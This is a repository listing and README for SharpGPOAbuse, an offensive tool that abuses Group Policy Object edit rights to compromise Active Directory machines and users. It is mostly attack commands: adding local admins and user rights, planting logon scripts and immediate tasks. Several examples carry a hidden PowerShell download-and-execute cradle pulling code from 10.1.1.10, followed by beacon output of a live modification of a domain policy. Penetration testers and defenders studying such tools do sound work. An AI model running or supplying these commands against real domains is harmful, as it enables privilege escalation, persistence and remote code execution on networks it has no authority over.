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https://github.com/FSecureLABS/SharpGPOAbuse
SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
https://github.com/FSecureLABS/SharpGPOAbuse
Last synced: 3 months ago
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SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
- Host: GitHub
- URL: https://github.com/FSecureLABS/SharpGPOAbuse
- Owner: FSecureLABS
- Created: 2019-04-01T12:10:25.000Z (over 5 years ago)
- Default Branch: master
- Last Pushed: 2020-12-15T14:48:31.000Z (almost 4 years ago)
- Last Synced: 2024-05-08T01:31:15.213Z (6 months ago)
- Language: C#
- Size: 668 KB
- Stars: 954
- Watchers: 31
- Forks: 133
- Open Issues: 7
-
Metadata Files:
- Readme: README.md
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- awesome-hacking-lists - FSecureLABS/SharpGPOAbuse - SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by th (C# #)
README
# SharpGPOAbuse
SharpGPOAbuse is a .NET application written in C# that can be used to take advantage of a user's edit rights on a Group Policy Object (GPO) in order to compromise the objects that are controlled by that GPO.
More details can be found at the following blog post: [https://labs.mwrinfosecurity.com/tools/sharpgpoabuse](https://labs.mwrinfosecurity.com/tools/sharpgpoabuse)
## Compile Instructions ##
Make sure the necessary NuGet packages are installed properly and simply build the project in Visual Studio.
## Usage ##
```
Usage:
SharpGPOAbuse.exe
```
## Attacks Types ##
Currently SharpGPOAbuse supports the following options:
| Option | Description |
| ---------------------|-------------------------------------------|
| [--AddUserRights](#adding-user-rights) | Add rights to a user |
| [--AddLocalAdmin](#adding-a-local-admin) | Add a user to the local admins group |
| [--AddComputerScript](#configuring-a-user-or-computer-logon-script) | Add a new computer startup script |
| [--AddUserScript](#configuring-a-user-or-computer-logon-script) | Configure a user logon script |
| [--AddComputerTask](#configuring-a-computer-or-user-immediate-task) | Configure a computer immediate task |
| [--AddUserTask](#configuring-a-computer-or-user-immediate-task) | Add an immediate task to a user |
## Attack Options
### Adding User Rights
```
Options required to add new user rights:
--UserRights
Set the new rights to add to a user. This option is case sensitive and a comma separeted list must be used.
--UserAccount
Set the account to add the new rights.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"
```
### Adding a Local Admin
```
Options required to add a new local admin:
--UserAccount
Set the name of the account to be added in local admins.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"
```
### Configuring a User or Computer Logon Script
```
Options required to add a new user or computer startup script:
--ScriptName
Set the name of the new startup script.
--ScriptContents
Set the contents of the new startup script.
--GPOName
The name of the vulnerable GPO.
Example:
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
```
If you want to run the malicious script only on a specific user or computer controlled by the vulnerable GPO, you can add an if statement within the malicious script:
```
SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%== powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
```
### Configuring a Computer or User Immediate Task
```
Options required to add a new computer or user immediate task:
--TaskName
Set the name of the new computer task.
--Author
Set the author of the new task (use a DA account).
--Command
Command to execute.
--Arguments
Arguments passed to the command.
--GPOName
The name of the vulnerable GPO.
Additional User Task Options:
--FilterEnabled
Enable Target Filtering for user immediate tasks.
--TargetUsername
The user to target. The malicious task will run only on the specified user. Should be in the format \
--TargetUserSID
The targeted user's SID.
Additional Computer Task Options:
--FilterEnabled
Enable Target Filtering for computer immediate tasks.
--TargetDnsName
The DNS name of the computer to target. The malicious task will run only on the specified host.
Example:
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"
```
If you want to run the malicious task only on a specific user or computer controlled by the vulnerable GPO you can use something similar to the following:
```
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com
```
## Additional Options
| Option | Description |
| ---------------------|-------------------------------------------|
| --DomainController | Set the target domain controller |
| --Domain | Set the target domain |
| --Force | Overwrite existing files if required |
## Example Output
```
beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I
EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"
[+] host called home, sent: 171553 bytes
[+] received output:
[+] Domain = europa.com
[+] Domain Controller = EURODC01.europa.com
[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com
[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}
[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
[+] Done!
```